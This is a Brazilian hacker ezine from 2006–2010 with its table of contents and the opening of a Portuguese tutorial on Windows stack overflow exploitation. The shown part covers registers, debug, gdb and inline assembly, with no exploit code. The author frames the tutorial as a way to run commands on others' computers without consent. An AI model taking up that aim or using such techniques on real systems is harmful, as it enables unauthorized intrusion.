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Viper Corp Collection - number 0x01

eZine's profile picture
Published in 
Viper Corp Collection
 · 1 Sep 2020

 


=============================================
=========== Corporacao Vibora ==============
hacking the matrix since 2006
+ The Brazilian underground scene +
============================================



Title : Viper Corp Collection - number 0x01
Author : David Diego D. Firmino Siqueira
Emails : b-fox@bol.com.br and ratao666@hotmail.com


+------------------------------------------------------------------+
| - The Mission Starts Here - [s] |
+------------------------------------------------------------------+
[0x00] - Explorando Stack Overflow no Windows - PARTE 1 [0x00]
[0x01] - Heap Overflow (Parity bit edition\r\n) [0x00]
[0x02] - Introduction to shellcoding for linux [0x00]
[0x03] - Tutorial basico do GCC [0x00]
[0x04] - Berkeley socket em C [_Parte1] [0x00]
[0x05] - Entendendo DMZ's & NAT's [0x00]
[0x06] - Uma base sobre IP Spoofing, Smurf e Finger Printing. [0x00]
[0x07] - O header IP v4 + UDP e seguimentos - PARTE 1 [0x00]
[0x08] - Encapsulamento de dados OSI e TCP/IP [0x00]
[0x09] - Burlando Filtros de URL [0x00]
[0x10] - C.O.D.E Computadores orgasmo destruicao Ezines 0x02 [0x00]
+------------------------------------------------------------------+
|++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++|
+------------------------------------------------------------------+


W.A.R.N.I.N.G
< ------------------- Major report - Please read ----------------------------- >

In the third and some others papers exist many brazilian typical words and some
quotes used only in my country, this words usually are recognized just by brazilians
and studants of portuguese. Remember my friend, I publish my texts in american pages
also by the cultural purpose. The most of these papers was created when I had
seventeen yeard old (I was a wild child :). This text was compiled to hackers from
others countries to show our hacker culture too. This is not a zine, is a sample
collection of papers completly written by 6_Bl4ck9_f0x6 . Obviously from collector
to collectors. A huge hug to you brother [s]
------------------------------------------------------------------------------------


14:08 11/4/2010 - First of all some humor


In my country these things below aren't often ehehe, but we never know :) Following the
first case describing why you may must to read this file (You should not lose nothing):

When you hear or read things how "to stop hackers to wreak havoc on your system using
malicious programs called expleet, use the codes described on the pages of this book"
,
and after that buys a stupid book containing idiot commands written in Assembly language
and a guy after that says aloud from another side of the street "Are you retarded? This
book is a complete drug! You're crazy!! Lame!"
you feel the bad eheheh. When you starts
your OS and don't know what to do but stays sited in front of it just by the obessession
and somebody (your cousin or partner) says aloud "Lame!!!" you feel the evil. When your
girlfriend is playing Quake III or Doom or listening some music wheeling her head and
her machine stops and she call you and you don't know to fix the problem... do you cry? :)
if you want to be a good hacker but don't understand nothing in the texts thereby
(unlike this), and when you walk lose the staircase for a while because of complicated
texts, don't care more friend. To avoid that cases I made this collections written
almost totally in brazilian portuguese, learn two languages or more friends, just
to drill your mind! Wil be good! Sorry my poor english, isn't my native language! eheh
I'm afraid to learn spanish (is much hard), but portuguese is much easy! You'll need
to exploit security holes on machines from Brazil. This text has warranty, we members
of the Viper Corp (Brazilian security group) give the whole warranty on the informations
in this documentation. I'll offer this great collection to Julinha 'Aka Little Witch e
a Silvio Santos por ter deixado os caras passar 'Os Ursinhos Carinhosos' quando eu era
crianca ,)


Good Links following:


[*] - http://wWw.thebugmagazine.org
[*] - http://wWw.tty64.org
[*] - http://wWw.packetstormsecurity.com
[*] - http://wWw.milw0rm.com
[*] - http://wWw.kernelhacking.com
[*] - http://wWw.w00w00.org
[*] - http://wWw.hunterhacker.xpg.com.br/244.txt
[*] - http://wWw.risesecurity.org


[]'s

by

6_Bl4ck9_f0x6 - Viper Corp Group




============================================
=========== CORPORACAO VIBORA ==============
2006-2008 A.C.H.U.B
A Cena Hacker Underground Brasileira.
============================================


char *titulo[]={

"[=] + =========================[####]========================== + [=]\n",
" *** ----=[ Explorando Stack Overflow no Windows ]=---- *** \n",
" *** ----=[ PARTE 1 - Entendendo o stack frame ]=---- \n",
"[=] + =========================[####]========================= + [=]\n\n"};


"O verdadeiro ator e aquele que nao conhece a si proprio..."
-- 6_Bl4ck9_f0x6


Author : 6_Bl4ck9_f0x6
A.k.a : David Diego Dennys F. Siqueira.
e-mail : b-fox [at] bol [dot] com [dot] br
Milw0rm : http://www.milw0rm.com/author/1863/


About this text:

I wrote this text for to expand knowledge for new hackers from Brazil and
of the all world. I hope you like and if you want send me some mails. This
text also was written as protest because exist many 'White Hats' in the
Brazil and they don't want to teach nothing, to write friend, prove you
aren't died and to write! I didn't see nothing of good in the texts of the
brazilians, then this text was writed. Thank's for to read. Enjoy of this
text my friend and spit on face of this stupids white hats. Fuck Security
industry, fuck full disclosure. Good reading...



[0x01] - Introducao - [0x01]
[0x02] - Pre-requisitos - [0x02]
[0x03] - Um pouco sobre Registers - [0x03]
[0x04] - Instructions set - [0x04]
[0x05] - GNU debugger - gdb - [0x05]
[0x06] - gcc in-line - [0x06]
[0x07] - Modos de enderecamento - [0x07]
[0x08] - Funcionamento basico da stack - [0x08]
[0x09] - O stack frame - [0x09]
[0x0A] - Como acontece o stack overflow - [0x0A]
[0x0B] - Seu primeiro exploit (local) - [0x0B]
[0x0C] - Exploracao remota - [0x0C]
[0x0E] - Consideracoes finais - [0x0E]



----- Capitulo 0x01


[=] + =========================================== + [=]
-----=[ Introducao ]=-----
[=] + =========================================== + [=]


Com este texto pretendo abordar o funcionamento do stack frame sobre arquitetura x86 (w32)
e pretendo mostrar tecnicas de exploracao do mesmo tanto local, como remota. Aqui, todo o
processo sera demonstrado passo a passo, pois todos sabemos a carencia que o Brasil tem de
textos em portugues que descrevam tal tecnica "para windows" e em uma linguagem de facil
"entendimento" para nossos jovens hackers, que levarao nossa linhagem especial adiante;
Neste paper voce conhecera o stack frame e tambem sabera como manipula-lo para faze-lo re-
tornar a um endereco de memoria especifico. No proximo texto demonstrarei manipulacao de
shellcodes para a exploracao de stack overflows no windows. Tambem escrevi este texto com o
intuito de aumentar o arsenal do milw0rm e para elevar o prestigio de meu pais aos olhos
de nossos irmaos hackers do mundo que acessam diariamente o milw0rm, porque todos sabemos
que no Brasil existe uma falta muito grande de profissionais de qualidade na area de SI -
Seguranca da Informacao, e como se nao bastasse o nome do hacking Brasileiro esta sendo
sujo a cada dia por alguns Sk's - Script kiddies que a unica coisa que fazem e usar trojans
escritos por terceiros e fazer deface por php em sites nunca antes vistos por eles, que por
sinal sao muito mau administrados pelo outro lado da corja, os falsos profissionais de
seguranca (Nao "hackers"). Gostaria de fazer um pedido a esses seres imprestaveis:

"Parem de sujar nosso nome."

A "verdadeira" cena hacker do Brasil agradece. Tambem gostaria de dedicar mais esse texto
ao str0ke, por estar sempre disposto a abrir portas para a divulgacao de meu trabalho, ao
'Edu' que brevemente fara o que pedi com relacao a area Brasil do blackhat-forums.com ;),
F3rGO, Dark_Side, blackwinner, e a todas as mulheres do mundo, pois sem elas nossas vidas
masculinas totalmente inuteis nao teria sentido algum. Com o conhecimento que aqui sera
descrito voce aprendera a executar comandos em qualquer computador do mundo, que esti-
ver conectado a internet, sem o concentimento do proprietario da maquina, bastando explo-
rar aplicacoes inseguras em execucao nas maquinas que serao invadidas, literalmente, por
"nos", hackers de sangue puro.



----- Capitulo 0x02


[=] + =========================================== + [=]
-----=[ Pre-requisitos ]=-----
[=] + =========================================== + [=]



Como neste texto pretendo abordar passo a passo o processo de exploracao, entao nao se faz
"necessario" que va procurar informacoes sobre a linguagem assembly em outro texto para
comecar a "entender" como explorar falhas de stack overflow, pois toda a base se encontra
neste documento. E claro que voce precisara ter um bom entendimento de assembly para poder
desenvolver shellcodes, mas por hora a unica coisa que voce precisara e deste documento.
Ao termino da leitura deste .txt recomendo que procure algum curso de assembly para uma
melhor compreensao do que sera demonstrado aqui, os mecanismos de buscas atuais sao exce-
lentes. O 'real' pre-requisito (Mais que previsivel), sera que o leitor tenha conhecimen-
tos intermediarios da linguagem C[1], para uma "melhor" compreensao deste texto. Entendi-
mento de enderecos de memoria e da base de enderecamento hexadecimal[2] tambem se faz ne-
cessario. As ferramentas necessarias/utilizadas aqui serao o gcc e o gdb. Para obter essas
ferramentas voce apenas precisa baixar o DEV-C++. Este e sem duvida nenhuma um dos melho-
res IDE's do mundo e pode ser encontrado em http://www.bloodshed.net . Os binarios neces-
sarios se encontram no diretorio '\Dev-Cpp\bin', voce podera inserir uma entrada estati-
ca no PATH do sistema para encontrar este diretorio com o comando PATH=%PATH%;\Dev-Cpp\bin
inserido em \autoexec.bat .



----- Capitulo 0x03


[=] + =========================================== + [=]
-----=[ Um pouco sobre Registers ]=-----
[=] + =========================================== + [=]


Podemos "comparar" um registrador a uma variavel, no qual armazenam valores diversos. Na
linguagem de programacao assembly existem os registradores de "uso geral" (no qual podem
armazenar qualquer valor/dados) e os registradores especiais. Nem todos os registradores
podem ser usados para armazenar valores inseridos por nos diretamente, como o registrador
eip (incluido na classe dos registradores especiais). Cada registrador possue uma deter-
minada funcao, nos *nixes os registradores de uso geral alem de poderem ser usados para o
armazenamento de qualquer tipo de dado, possuem funcoes exclusivas na execucao de uma
syscall por exemplo, como o "armazenamento" de valores de retorno das mesmas (eax) caso
retornem algo, e seus respectivos argumentos (ebx, ecx, edx, esi e edi respectivamente).
Veja os registradores de uso geral.



+=====+
| AX | Accumulator (Registrador Acumulador)
+-----+
| BX | Base (Registrador de base )
+-----+
| CX | Counter (Registrador Contador)
+-----+
| DX | Data (Registrador de dados)
+=====+


Antes dos processadores 80386 esses registradores eram de 16 bits ( [short] 2 bytes), nos
processadores atuais eles possuem 32 bits ( [long] 4 bytes). Esses registradores sao com-
postos por uma parte alta ('H'igh) e baixa ('L'ow). Nesse caso cada parte equivale a '8'
bits. Para uma melhor compreensao por parte do leitor sugiro que abram o debugador nativo
do windows XP SP1 ou SP2 e outras versoes, me refiro ao propriamente dito: debug.


Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>debug
-r
AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0100 NV UP EI PL NZ NA PO NC
0D3C:0100 288107CF SUB [BX+DI+CF07],AL DS:CF07=00
-q


O comando 'r' e utilizado para visualizar os valores dos registradores. Note que apesar de
estar em um x86, esses registradores equivalem a 16 bits. Isso se deve ao fato de eu estar
em uma ferramenta ambientada para o antigo MS-DOS, portanto a mesma continua com seus pa-
droes. Veja o registrador acumulador dividido em sua parte alta e baixa:


AX = 00 00
(High <- Alta) (Low <- Baixa)


No capitulo "Instructions Set" veremos como manipular apenas determinas partes de um re-
gistrador. Como disse anteriormente, nos processadores atuais esses registradores equiva-
lem a 32 bits, e para haver uma diferenciacao por parte dos programadores existe uma no-
tacao que e utilizada para referenciar esses registers. Um 'E' de Extended. Que em portu-
gues significa 'E'stendido. Isso referencia os registradores de 32 bits dos x86 .


==========================
Registradores de uso geral
==========================


+=====+
| EAX | Extended Accumulator -> Registrador Acumulador Extendido
+-----+
| EBX | Extended Base -> Registrador de Base Extendido
+-----+
| ECX | Extended Counter -> Registrador Contador Extendido
+-----+
| EDX | Extended Data -> Rigistrador de Dados Extendido
+=====+


Uma representacao ideal para esse registrador em sua parte alta e baixa seria essa:


EAX = 0000 0000
(High <- Alta) (Low <- Baixa)


Nesse caso cada lado deste registrador e de 16 bits. Somando assim 32 bits (4 bytes).
Acredito que todos saibam que 8 bits equivalem a 1 byte. Veremos agora os registra-
dores especiais, os que se referem ao stack frame (Descrito "adiante"). Nao citarei
os registradores de segmento.


==========================
Registradores especiais
==========================


+=====+
| eip | Instruction pointer -> Ponteiro de instrucao extendido
+-----+
| ebp | Base pointer -> Ponteiro de base extendido
+-----+
| esp | Stack pointer -> Ponteiro de pilha extendido
+-----+


Esses sao apenas alguns dos registradores especiais (Termo para referenciar os registers
que nao sao de uso geral). O eip aponta para o endereco de memoria da proxima instrucao
a ser executada, o ebp aponta para a base do stack e o esp aponta sempre para o topo da
stack/pilha. No decorrer do texto voce ficara mais familiarizado com os mesmos.


----- Capitulo 0x04


[=] + =========================================== + [=]
-----=[ Instructions set ]=-----
[=] + =========================================== + [=]


Instruction set, ou "conjunto de instrucoes", sao as instrucoes que utilizarao os regis-
tradores. Essas instrucoes que sao responsaveis pela copia de um dado qualquer para um
registrador ou dados de um registrador para o outro, por exemplo. Demonstrarei apenas
algumas instrucoes, ou seja, apenas as que precisaremos para um "entendimento" do tema
abordado neste documento. As instrucoes aceitas por um micro-processador ja sao determi-
nadas de fabrica e voce podera ver as mesmas no site do fabricante (em instruction set).
Veja o instruction set da familia x86 em www.x86.org . No momento apenas se faz necessa-
rio o entendimento das descritas abaixo. Vamos usar mais uma vez o debug do windows, que
sera excelente para um bom entendimento. Usaremos o comando 'a' (assemble) para iniciar
o processo de marcacao de instrucoes para uma posterior execucao.


C:\Documents and Settings\David>debug
-a
0D3C:0100


Como voce pode ver, comecaremos a setar nossas instrucoes a partir do endereco 0100, en-
dereco esse que e o reservado como endereco inicial para um programa MS-DOS de 16 bits.
A primeira instrucao vista por nos sera a 'MOV', que movimenta (copia) dados. Vamos a um
exemplo pratico.


--=[ MOV ]=--


(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>debug
-a
0D3C:0100 MOV AX,10 ; Copia o numero 10 para a parte baixa de AX (AL)
0D3C:0103 MOV AX,1515 ; Copia 1515 para a parte alta e baixa de AX (15 15).
0D3C:0106 MOV BX,AX ; Copia AX (1515) para BX (BX = 1515)
0D3C:0108 ; [Enter]
(...)


Veja os comentarios a sua direita. Bem aqui uma ressalva deve ser feita. A sintaxe[4]
utilizada acima, foi a INTEL, esta sintaxe determina que a origem sempre sera o dado
da direita, e o destino de tal dado e o registrador da esquerda. A sintaxe AT&T, que e
a utilizada nos *nixes, determina o oposto, ou seja, na sintaxe 'AT&T' a origem e o
valor da esquerda, e o destino e o registrador da direita. O comando -T executa nossas
instrucoes passao a passo (Step over).


0D3C:0100 MOV AX,10
(...)
0D3C:0108 ; [Enter]

-T
AX=0010 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 B81515 MOV AX,1515


Veja que logo apos a execucao de nossa primeira instrucao, armazenada no endereco de
memoria 0100, o registrador AX agora possui o valor 10 em sua parte baixa. Repare a-
gora no registrador IP. Veja que ele aponta para a proxima instrucao a ser executa-
ta, ou seja, a intrucao armazenada no endereco 0103 que e a MOV AX,1515 . Teclamos o
comando 'T' mais uma vez e vemos o seguinte resultado:


-T

AX=1515 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL NZ NA PO NC
0D3C:0106 89C3 MOV BX,AX


Veja que AX agora possui o valor 1515 e o intruction pointer (IP) esta apontando para
o endereco 0106, que e o endereco da proxima instrucao a ser executada (MOV BX,AX).


-T

AX=1515 BX=1515 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0108 NV UP EI PL NZ NA PO NC
0D3C:0108 2911 SUB [BX+DI],DX DS:1515=2020
-Q

C:\DOCUME~1\David>


Veja que BX agora possui o mesmo valor de AX, ou seja, houve uma copia de dados. O
comando 'Q' (Quit) sai do debug. Ainda podemos manipular somente partes baixas ou
altas dos registradores bastando especificarmos o H ou L. Exemplo: MOV AH, 10 .


--=[ CALL e NOP ]=--

A instrucao call (chamar) basicamente faz uma chamada a um endereco de memoria. Veja:


(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\David>debug
-a

0D3C : 0100 NOP ; No operation. Instrucao de 1 byte
0D3C : 0101 NOP
0D3C : 0102 CALL 0100 ; Chama o endereco 0100
0D3C : 0105

Seg: [offset]


Repare que a instrucao NOP (No operation) ou nenhuma operacao, equivale a 1 byte, pois
ela se incia no endereco 0100 e o proximo endereco e o 0101. A instrucao 'NOP' (\x90)
nao faz nada, quando o processador encontra essa instrucao ele imediatamente pula para
a proxima instrucao. No offset '0102' do segmento de dados (DS = 0D3C) especifiquei a
instrucao call seguida do endereco no qual quero "chamar". Quando executamos a instru-
cao call o fluxo do programa imediatamente segue para o endereco chamado. A instrucao
call chama o endereco e as instrucoes que se encontram no endereco chamado sao execu-
tadas. No capitulo "Funcionamento basico da stack", veremos mais sobre essa instrucao.
Podemos utilizar instrucoes que movimentam dados especificos, como movl, que movimenta
um long, ou seja, os 4 bytes de um registrador extendido, e movb que movimenta um byte.
Veja mais algumas instrucoes frequentemente usadas para desenvolvimento de shellcodes.


--=[ INC ]=---


Incrementa em 1 o valor de um registrador.

Sintaxe:

0D3C:0100 INC AX

Logo apos essa intrucao AX (registrador de 16 bits) sera representado dessa forma:

AX=0001

Podemos incrementar tambem apenas lados especificos de cada registrador. Veja mais
exemplos de operacoes manipuladoras de lados altos e baixos:


C:\DOCUME~1\David>debug
-a
0D3C:0100 INC AH
0D3C:0102 INC AL
0D3C:0104 <--- [ENTER]
-t

AX=0100 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0102 NV UP EI PL NZ NA PO NC
0D3C:0102 FEC0 INC AL
-t

AX=0101 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0104 NV UP EI PL NZ NA PO NC
0D3C:0104 2882073C SUB [BP+SI+3C07],AL SS:3C07=00
-q


--=[ DEC ]=---


A instrucao DEC faz o oposto da instrucao INC. Esta instrucao DECrementa o valor de um
registrador em 1.

Sintaxe(s):

1 - 0D3C:0100 DEC AX
2 - 0D3C:0100 DEC AH
3 - 0D3C:0100 DEC AL


--=[ ADD ]=--


Essa instrucao "soma" os dados de origem com os dados de detino e o resultado e arma-
zenado no destino.


Exemplo:

-a
0D3C:0100 MOV AX,10 ; <--- Copia 10 para AX
0D3C:0103 MOV BX,10 ; <--- Copia 10 para BX
0D3C:0106 ADD AX,BX ; <--- Soma AX + BX
0D3C:0108


Veja que copio o valor 10 para AX e para BX, depois somo os valores armazenados em ambos
registradores e o resultado sera armazenado no registrador de destino, AX, pois estou u-
tilizando a sintaxe INTEL. Entao, apos todas as instrucoes serem executadas o valor de
AX sera 20.

(...)

-t

AX=0020 BX=0010 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=010A NV UP EI PL NZ NA PO NC
0D3C:010A 253120 AND AX,2031
-q

Repare aqui: AX=0020


--=[ SUB ]=--


A instrucao sub "SUBtrai" dois valores e armazena o resultado no registrador de destino.

Exemplo:

-A
0D3C:0100 MOV AX,F
0D3C:0103 SUB AX,1
0D3C:0106
-t

AX=000F BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 2D0100 SUB AX,0001
-t

AX=000E BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL NZ NA PO NC
0D3C:0106 07 POP ES
-q


Repare que o registrador AX depois da subtracao de 1, equivale a E. Lembre-se que
registradores trabalham com a base hexadecimal[2], portanto um conhecimento sobre
a mesma e mais que necessario.


--=[ JMP ]=--


Essa instrucao salta (JuMP) para um determinado endereco de memoria, fazendo com que
o fluxo do programa seja desviado para esse endereco.


C:\Documents and Settings\David>debug
-a
0D3C:0100 MOV DL,1 ; Move 1 para DL
0D3C:0102 INC DL ; Incrementa DL em 1
0D3C:0104 JMP 0100 ; Salta para o endereco inicial
0D3C:0106

Nesse exemplo acima, todas as vezes que o fluxo de dados chegar ao endereco
0104, ele saltara para o endereco inicial que continuara a executar as ins-
trucoes anteriores ao salto, ou seja, 'DL' nao pararia de ser incrementado,
mas devido a rotina, ele nao passaria do valor 2, pois a primeira instrucao
sobrescreve o valor anterior.


=================
Intrucoes logicas
=================


Na linguagem binaria 1 e 0 significam verdadeiro e falso respectivamente. As instrucoes
descritas a seguir comparam dois valores e retornam um valor verdadeiro ou falso, e o
registrador de destino (sintaxe INTEL) que recebera os dados retornados.


--=[ AND ]=--


Essa intrucao compara dois valores e retorna um valor verdadeiro se as duas instrucoes
tambem forem verdadeiras.

AND 1 1 = 1
AND 0 1 = 0
AND 1 0 = 0
AND 0 0 = 0


--=[ OR ]=--


A instrucao OR (ou) por sua vez requer que apenas um dos valores seja verdadeiros,
para tambem retornar um valor positivo. Veja:

OR 1 1 = 1
OR 1 0 = 1
OR 0 1 = 1
OR 0 0 = 0


--=[ XOR ]=--


Essa instrucao e quase igual ao OR, ela faz a comparacao de dois valores e apenas
retorna um valor verdadeiro quando um deles ("apenas um") for tambem verdadeiro.
Repito: Apenas um dos dois valores comparados deve ser '1 '(verdadeiro) para essa
instrucao retornar um valor verdadeiro.


C:\Documents and Settings\David>debug
-A
0D3C:0100 MOV AX,1 ; Move 1 para AX
0D3C:0103 XOR AX,1 ; 1, 1 = 0
0D3C:0106
-t

AX=0001 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 350100 XOR AX,0001

Repare que o valor 1 foi copiado para AX, abaixo segue a instrucao que compara
os valores referentes.

-t

AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL ZR NA PE NC
0D3C:0106 07 POP ES
-q

C:\DOCUME~1\David>


Veja que o resultado foi falso, porque "apenas um" dos registradores tem que armazenar
o valor 1 e nesse caso os dois valores envolvidos no teste eram 1, assim sobrescreven-
do o valor que tinha sido previamente armazenado em AX ('1'), com o valor "retornado"
pela operacao XOR (0).

XOR 1 1 = 0
XOR 1 0 = 1
XOR 0 1 = 1
XOR 0 0 = 0



----- Capitulo 0x05


[=] + =========================================== + [=]
---=[ GNU debugger - gdb ]=---
[=] + =========================================== + [=]


O GDB e um debugger nativo dos *nixes/Linuxes, mas foi portado para arquitetura w32.
Como o proprio nome ja dos diz, um debugger nada mais e do que o programa que nos
mostrara os codigos internos de outro programa (por exemplo) em assembly. Recur-
so esse que e muito util para sabermos o que o programa faz no nosso sistema quando
seu codigo fonte nao e divulgado e para o descobrimento de bugs em nossos programas.
Com um debugger podemos ver os "enderecos" de memoria utilizados pelos programas,
suas bibliotecas, e tambem podemos modificar suas instrucoes internas. Se escrever-
mos um programa usando a linguagem assembly, as instrucoes deste mesmo programa se-
rao vistas em assembly no debugger, ou seja, na linguagem que escrevemos. Veja al-
gumas opcoes que nos serao muito uteis para o completo entendimento da stack e um
"entendimento" maior sobre o desenvolvimento de shellcodes tanto para windows quanto
para *nixes/Linuxes.



-q --> Esta opcao (Quiet) na chamada do programa nao emite banner do gdb.

break --> Esta opcao seta um breakpoint, que nada mais e do que definir onde
o programa sera "pausado" quando iniciarmos o mesmo ("run"). Cada
break point recebe um numero de identificacao.

disassemble --> Esta e a opcao que nos mostra o codigo em assembly propriamente di-
to, ou seja, seguido de um frame, ela e capaz de nos mostrar todas
as instrucoes daquele frame.

run --> Esta opcao que sera utilizada para iniciar a execucao do programa
dentro do debugger. Esta opcao pode ou nao receber argumentos.

list --> Nos mostra os symbols armazenados na tabela de exportacao de symbols
de um programa.

info --> Usado para visualizarmos determinadas informacoes. Dentre elas po-
podemos ressaltar:

register (registrador) -> Exibe valores de registradores.
breakpoints -> Exibe os breakpoints setados.

Para maiores informacoes digite o comando 'info' no gdb, que lhe
sera mostrado varias opcoes.

del --> Remove um breakpoint especificado por um numero. Se este numero for
omitido, todos os breakpoints serao deletados.

file --> Carrega a tabela de symbols de um determinado programa.

continue --> Continua a execucao do programa depois de uma parada (breakpoint).

x/ --> Com esta opcao definimos alguns metodos uteis de visualizacao de
dados do programa. Tais como:

s --> Exibe a string ("texto") armazenada em um endereco.
x --> Exibe os dados em hexadecimal.
i --> Exibe a instrucao em assembly contida no endereco.
b --> Um unico byte (opcode).


----- Capitulo 0x06


[=] + =========================================== + [=]
-----=[ gcc in-line ]=-----
[=] + =========================================== + [=]


Com o gcc existe a possibilidade de insercao de instrucoes em assembly em codigos 'C',
utilizando o recurso __asm ();, essa instrucao determina a inicializacao de instrucoes
assembly. Com a utilizacao do gcc "in-line" podemos criar rotinas para execucao de
shellcodes (citado adiante) utilizando assembly, entre varias outras boas utilidades.
Este capitulo sera destinado a lhe dar uma melhor "firmacao" dos conhecimento descrito
neste paper. As sintaxes utilizadas abaixo serao detalhadamente descritas no decorrer
deste documento, portanto encare este capitulo apenas como uma "previa apresentacao"
do que foi e do que lhe sera ensinado, pois a intencao deste texto e firmar o conhe-
cimento em hacking na sua mente, nao dar exemplos vagos. Veja alguns exemplos de sin-
taxes do gcc in-line:


Exemplo I


main (){

__asm (" NOP;NOP;NOP \n");

}


Exemplo II


main (){

__asm (

"NOP \n"
"NOP ");
}


======================
Entendendo os Symbols
======================


Resumidamente, o recurso de symbols nada mais e do que um recurso que salva em tempo
de compilacao, em uma tabela, as instrucoes nativas (Codigo fonte) de um programa, nesse
caso, escrito em C. Quando um programa e compilado voce pode decidir se deseja exportar
symbols (Simbolos), ou nao. No processo de compilacao[5] de um programa, os codigos sao
pre-processados e convertidos em assembly, depois seguem para mais processos, assim fa-
zendo com que todas as linhas de codigo nativas, como variaveis e rotinas, que estao no
formato escrito por voce, sejam perdidas. Assim seria impossivel de debuga-lo usando o
gdb. Para compilar um programa com suporte a depuracao, basta usar a opcao -g do gcc.


-- testing.c --

#include <stdio.h>

main (){

puts ("This is a test");

}

-- cut here --



C:\>gcc testing.c -o test -g

C:\>gdb test -q
(gdb) list
1 #include <stdio.h>
2
3 main (){
4
5 puts ("This is a test");
6
7 }
(gdb) q


Se nao compilarmos habilitando o suporte a debugging ao executavel, o resultado sera
este apresentado abaixo.


C:\>gcc testing.c -o test

C:\>gdb test -q
(no debugging symbols found)...(gdb)
(gdb) q

C:\>


Um detalhe segue: Quando voce compila um programa utilizando o Dev-C++ o gcc usa a
opcao -g por padrao (Underground blood).


====================================
Movimentacao de dados em gcc in-line
====================================


-- inline.c --

main (){

__asm (

"MOV $0xA, %ebx \n"
"MOVL %ebx, %eax \n" );

}

-- cut here --


Agora vamos "disassemblar" esse programa para vermos o estado do registrador eax.
Primeiramente inicializo o gdb sem a emissao do banner do programa (-q) para logo
depois visualizar os symbols do programa a ser debugado, ou seja, o seu codigo.



C:\Documents and Settings\David\Desktop>gdb inline.exe -q
(gdb) list
1 main (){
2
3 __asm (
4
5 "MOV $0xA, %ebx \n"
6 "MOVL %ebx, %eax \n" );
7
8 }
9

Vamos agora usar o comando disassemble (abreviado para disass) seguido da parte do
codigo que desejamos visualizar as instrucoes, ou seja, a parte do codigo que quero
ver "disassemblada". Repare que utilizo um "symbol" para referencia-la. Nesse caso
desejo ver as instrucoes a partir do entry point (ponto de entrada), main. O Entry
point e o nome que se da ao local onde se iniciam os codigos.


(gdb) disass main
Dump of assembler code for function main:
0x401290 <main>: push %ebp
0x401291 <main+1>: mov %esp,%ebp
0x401293 <main+3>: sub $0x8,%esp
0x401296 <main+6>: and $0xfffffff0,%esp
0x401299 <main+9>: mov $0x0,%eax
0x40129e <main+14>: add $0xf,%eax
0x4012a1 <main+17>: add $0xf,%eax
0x4012a4 <main+20>: shr $0x4,%eax
0x4012a7 <main+23>: shl $0x4,%eax
0x4012aa <main+26>: mov %eax,0xfffffffc(%ebp)
0x4012ad <main+29>: mov 0xfffffffc(%ebp),%eax
0x4012b0 <main+32>: call 0x401710 <_alloca>
0x4012b5 <main+37>: call 0x4013b0 <__main>
0x4012ba <main+42>: mov $0xa,%ebx
0x4012bf <main+47>: mov %ebx,%eax
0x4012c1 <main+49>: leave
0x4012c2 <main+50>: ret
End of assembler dump.


Eu poderia disassemblar qualquer symbol. Repare tambem que e "possivel" abreviar as
intrucoes do gdb, info poderia ser apenas 'i', register poderia ser apenas 'r' e run
poderia ser tambem apenas 'r'. Veja que as instrucoes escritas por nos se iniciam no
endereco de memoria da instrucao 'main+42', ou seja, a partir do endereco 0x4012ba .
E nessa instrucao ('42') de main que ha uma copia do valor em hexadecimal 'A' para o
registrador ebx. O intuito aqui e visualizar o valor armazenado no registrador eax,
e aprender mais sobre o gdb, portanto marcaremos um breakpoint na instrucao main+49
que e a instrucao seguinte a operacao de copia, assim poderemos ver o resultado da
operacao anterior.


(gdb) break *main+49
Breakpoint 1 at 0x4012c1: file C:/Documents and Settings/David/Desktop/inline.c, line 8.


Marcamos o ponto de parada do programa apos sua execucao (comando run) dentro do de-
bugger. Vamos ver informacoes sobre esse ponto de parada.


(gdb) i breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x004012c1 in main
at C:/Documents and Settings/David/Desktop/inline.c:8
breakpoint already hit 1 time


Acima podemos ver em que funcao o breakpoint esta setado, o endereco de memoria que esse
breakpoint esta setado, o numero de identificacao deste breakpoint caso nos quisermos
remove-lo (del 1), entre outras informacoes. Vamos iniciar a execucao do programa.


(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/inline.exe

Breakpoint 1, main () at C:/Documents and Settings/David/Desktop/inline.c:8
8 }


O programa parou no breakpoint, vamos ver agora o valor de 'eax' e do registrador que
aponta para a proxima instrucao a ser executada, o extended instruction pointer (eip).


(gdb) i r eax eip
eax 0xa 10
eip 0x4012c1 0x4012c1


Veja que nos e mostrado em hexadecimal (0xa) e em decimal (10) o valor contido no re-
gistrador eax. Veja que o eip esta apontando para o endereco 0x4012c1, vamos ver que
